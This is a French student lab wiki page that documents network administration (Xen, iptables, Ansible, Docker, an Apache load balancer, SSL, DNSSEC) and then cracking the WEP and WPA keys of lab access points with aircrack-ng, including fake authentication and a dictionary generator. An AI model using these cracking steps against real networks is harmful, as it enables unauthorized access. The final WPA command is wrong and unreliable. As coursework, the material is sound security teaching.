TP sysres IMA5sc 2019/2020 G3 : Différence entre versions

Version du 17 décembre 2019 à 11:37

Sommaire

1 Prélude
2 Architecture réseau
3 Machine virtuelle Xen
4 Cassage de clé WEP
5 Cassage de clé WPA

Prélude

Suite au choix du thème, nous avons choisi comme nom de domaine herpesgenital

Architecture réseau

Machine virtuelle Xen

Création et configuration

La machine virtuelle sera sur installée sur Cordouan. On s'y connecte donc en ssh :

$ ssh root@cordouan.insecserv.deule.net

On peut ensuite créer la machine virtuelle Xen : (On n'oublie pas de fixer les paramètres de proxy)

$ export http_proxy=http://proxy.plil.fr:3128
$ export https_proxy=http://proxy.plil.fr:3128
$ xen-create-image --hostname=herpesgenital --dhcp --dir=/usr/local/xen --force

On peut alors observer le mot de passe root dans le fichier suivant :

$ tail /var/log/xen-tools/herpesgenital.log

On va ensuite modifier le fichier de configuration de la machine virtuelle (/etc/xen/herpesgenital.cfg). On modifie la ligne suivante pour ajouter le bridge :

vif = [ 'mac=00:16:3E:2B:55:6A,bridge=IMA5sc' ]

On peut vérifier la configuration des bridges via la commande :

$ brctl show

On peut alors ensuite finaliser la création de la machine virtuelle puis interragir avec elle via le terminal :

$ xl create /etc/xen/herpesgenital.cfg
$ xl console herpesgenital

Il est possible de se connecter en root avec le mot de passe récupéré précédemment puis modifier ce mot de passe via la commande

$ passwd root

VOIR LE PARTIONNEMENT

On ajoute l'adresse IP de notre VM en modifiant le fichier /etc/network/interfaces :

 auto eth0
 iface eth0 inet static
  address 193.48.57.179
  netmask 255.255.255.240
  gateway 193.48.57.190

Puis on peut activer la connexion en ssh à notre VM sur le fichier suiviant en décommentant la ligne PermitRootLogin yes

nano /etc/ssh/sshd_config

Seconde machine virtuelle privée

On peut alors créer une seconde marchine virtuelle Xen comme prédédemment mais qui est cette fois privée (private-herpesgenital). Celle ci contiendra les serveur web de chacun des binômes.

Pour autoriser le routage :

$ echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

Sur notre machine virtuelle principale (herpesgenital) on peut créer une mascarade provisoire pour notre seconde machine virtuelle.

$ iptables -P FORWARD DROP
$ iptables -A FORWARD -j ACCEPT -s 172.26.16.0/20
$ iptables -A FORWARD -j ACCEPT -d 172.26.16.0/20
$ iptables -t nat -A POSTROUTING -j MASQUERADE -s 172.26.16.0/20

On peut alors ping google.fr depuis private-herpesgenital pour vérifier que la masquarade provisoire est opérationnelle.

Pour rendre la masquarade persistante, on installe le paquet iptables-persistent sur herpesgenital puis dans le fichier /etc/sysctl.conf on décommente la ligne net.ipv4.ip_forward=1 puis on recharge les nouveau paramètres avec :

$ sysctl -p /etc/sysctl.conf

On peut alors générer une paire de clés (publique-privée) pour la connexion en ssh :

$ ssh-keygen -t rsa

On peut ensuite via ssh (en utilisant toujours un mot de passe), ajouter notre clé à la liste des clés authorisés sur l'ensemble des machines private.

$ cat .ssh/id_rsa.pub | ssh 192.168.0.3 "cat >> /root/.ssh/authorized_keys2"

On peut alors maintenant se connecter directement aux machines virtuelles private avec notre clé sur herpesgenital et sans mot de passe.

Ansible

Nous allons utiliser ansible pour configurer les serveur web.

Pour réaliser l'inventaire ansible, on modifie /etc/ansible/hosts pour définir notre machine private (interne) ainsi que celles des autres groupes(serveur-web).

 all:
  hosts:
    interne:
      ansible_host: 192.168.0.3
  children:
    serveur_web:
      hosts:
        192.168.0.[1:6]:

On crée un dosssier roles dans /etc/ansible puis dans ce dossier roles on crée un nouveau rôle corneille via

$ ansible-galaxy init corneille

Le rôle corneille a pour but de modifier le message of the day ainsi que de mettre en place NTP pour configurer la synchronisation de l'horloge. Le rôle est défini dans le fichier /etc/ansible/roles/corneille/tasks/main.yml

 ---
  - name: motd_copy
    copy:
      dest: /etc/motd
      src: motd

  - name: ntp_install
    apt:
      state: present
      name:
        - ntp
        - ntpdate

  - name: ntp_config
    copy:
      src=ntp.conf
      dest=/etc/ntp.conf
    tags: ntp

   - name: ntp_stop
    service:
      name=ntp
      state=stopped
      enabled=yes
    tags: ntpd

   - name: ntp_init
    shell: ntpdate ntp.polytech-lille.fr
    tags: ntp

  - name: ntp_launch
    service:
      name=ntp
      state=started
      enabled=yes
    tags: ntp
 ...

Le rôle est utilisé dans le playbook motd.yml suivant :

 ---
 - hosts: interne
   roles:
     - corneille
 ...

Que l'on peut lancer via la commande :

$ ansible-playbook motd.yml

Cette commande va permettre de lancer les actions du rôle corneille sur le host interne, qui est uniquement notre machine virtuelle privée.

On peut à présent créer deux playbooks pour la création et le déploiement de docker sur toutes les machine virtuelles privées.

Fichier docker.yml :

 ---
 - hosts: serveur_web
   vars:
     - pip_install_packages:
         name: docker
     - docker_apt_repository: "deb [arch=Modèle:Docker apt arch] https://download.docker.com/linux/debian stretch stable"
   roles:
     - geerlingguy.docker
 ...

Fichier create_docker.yml :

 ---
 - hosts: serveur_web
   tasks:
   - name: install rsync
     apt:
       state: latest
       name: 'rsync'

   - name: transfer files
     copy:
       src: DockerFiles
       dest: /tmp/gr3/
     register: copy_output
   - debug: var=copy_output

   - name: build Docker image from Dockerfile
     docker_image:
       tag: latest
       name: image-for-herpesgenital
       path: /tmp/gr3/DockerFiles
       state: present

   - name: Create the container
     docker_container:
       name: container-herpesgenital
       image: image-for-herpesgenital
       state: present

   - name: check if container is running
     shell: 'docker ps'
     register: docker_ps
   - debug: var=docker_ps.stdout_lines

   - name: Last
     docker_container:
       name: container-herpesgenital
       image: image-for-herpesgenital
       state: started
       recreate: yes
       ports:
         "8003:80"
 ...

Docker

le Dockerfile situé dans herpesgenital:/root/files/DockerFiles avec le index.html

 FROM centos:latest
 MAINTAINER herpesgenital
 RUN yum -y install httpd
 COPY index.html /var/www/html
 CMD ["/usr/sbin/httpd", "-D", "FOREGROUND"]
 EXPOSE 80

docker build . -t notre_docker_v1

docker run -dit -p 8003:80 notre_docker_v1

docker container ls

Mandataire inverse / Répartiteur de charge

Dans /etc/apache2/sites-available on peut créer le fichier herpesgenital.site.conf :

<VirtualHost 193.48.57.179:80>
     ServerName herpesgenital.site
     ServerAlias www.herpesgenital.site
     ProxyPass "/" "http://192.168.0.3:8003/"
     ProxyPassReverse "/" "http://192.168.0.3:8003/"
     Redirect "/" "https://www.herpesgenital.site"
</VirtualHost>

On peut activer cette configuration via la commande et désactiver la configuration par défaut :

$ a2ensite herpesgenital.site.conf
$ a2dissite 000-default.conf

On active les les modules nécessaires :

$ a2enmod proxy
$ a2enmod proxy_http

Puis on fini par rédemarrer le client apache

$ service apache2 reload

Le mandataire inverse est alors en place, on peut maintenant passer à l'équilibreur de charge. On modifie notre fichier herpesgenital.site.conf pour ajouter :

<Proxy "balancer://herpesgenital-balancer">
       BalancerMember http://192.168.0.1:8003
       BalancerMember http://192.168.0.2:8003
       BalancerMember http://192.168.0.3:8003
       BalancerMember http://192.168.0.4:8003
       BalancerMember http://192.168.0.5:8003
       BalancerMember http://192.168.0.6:8003
       ProxySet lbmethod=byrequests
</Proxy>

SSL

<VirtualHost 193.48.57.179:443>
               ServerName herpesgenital.site
               ServerAlias www.herpesgenital.site
               DocumentRoot /var/www/html/

               SSLEngine on
               SSLCertificateFile /etc/ssl/certs/herpesgenital.site.crt
               SSLCertificateKeyFile /etc/ssl/key/myserver.key
               SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
               SSLVerifyclient NONE
        <Location "/balancer-manager">
                SetHandler balancer-manager
        </Location>
</VirtualHost>

GandiStandardSSLCA2.pem et herpesgenital.site.crt récupérés sur Gandi

DNSSEC

Sur herpesgenital :

$ apt install bind9 bind9-host dnsutils

named.conf.options :

dnssec-validation auto;
dnssec-enable yes;

On crée le répertoire /etc/bind/herpesgenital.site.dnssec puis on génére les clés :

$ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE herpesgenital.site
$ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE herpesgenital.site

Puis on les renomme avec de snoms plus commodes :

herpesgenital.site-ksk.key
herpesgenital.site-ksk.private
herpesgenital.site-zsk.key
herpesgenital.site-zsk.private

$ dnssec-signzone -o herpesgenital.site -k herpesgenital.site-ksk ../herpesgenital.site herpesgenital.site-zsk

Cassage de clé WEP

On utilise pour casser la clé WEP un dongle wifi "Wi-Pi". Après avoir connecté le dongle on affiche la liste des interfaces wifi via la commande

$ iwconfig

On observe alors le nom de de l'interface associée au dongle : wlx40a5ef0590b2 renommée lors de la commande en wlan0mon

On commence par passer l'interface en mode moniteur :

$ airmon-ng start  wlan0mon

On peut alors visualiser les point d'accès WEP disponibles :

$ airodump-ng --encrypt wep wlan0mon

On choisit de travailler avec cracotte04 dont on va essayer de casser la clé WEP. Grâce à la commande précédente on a pu récupérer son BSSID et son Channel. On capture les paquets sur l'interface de craquotte04 via la commande :

$ airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:53 -w ./path_to_folder/cracotte04 wlan0mon

On lance alors en simultané sur un autre terminal des simulations de connexions au point d'accès. La commande suivante permet de se faire passer pour un client afin de générer de l'activité sur le réseau.

$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:53 wlan0mon

Une fois avoir capturé un grand nombre de paquets (au moins 20 000), on peut alors lancer le cassage :

$ aircrack-ng ./path_to_folder/cracotte04.cap

Cassage de clé WPA

De la même manière que pour le cassage de clé WEP, on utilise un dongle wifi en mode moniteur grace auquel on observe les caractéristiques (bssid et channel) du réseau sans fil dont on souhaite casser le code puis on capture au moins un handshake.

$ iwconfig
$ airmon-ng start wlan0mon
$ airodump-ng wlan0mon

Pour réaliser le cassage en WPA on doit fournir un dictionnaire de tous les mots de passe à essayer. On crée pour cela un simple code C

#include <stdio.h>

int main(){
       int i=0;
       for(i=0;i<100000000;i++){
               printf("%d\n",i);
       }
       return 0;
}

On éxécute ce code : (Ne pas oublier les permissions avec chmod si nécessaire)

$ ./executable > ./path_to/dictionnaire.txt

Puis on peut alors casser le code via la commande :

$ airodump-ng -w ./path_to/dictionnaire.txt ./path_to/kracotte07.cap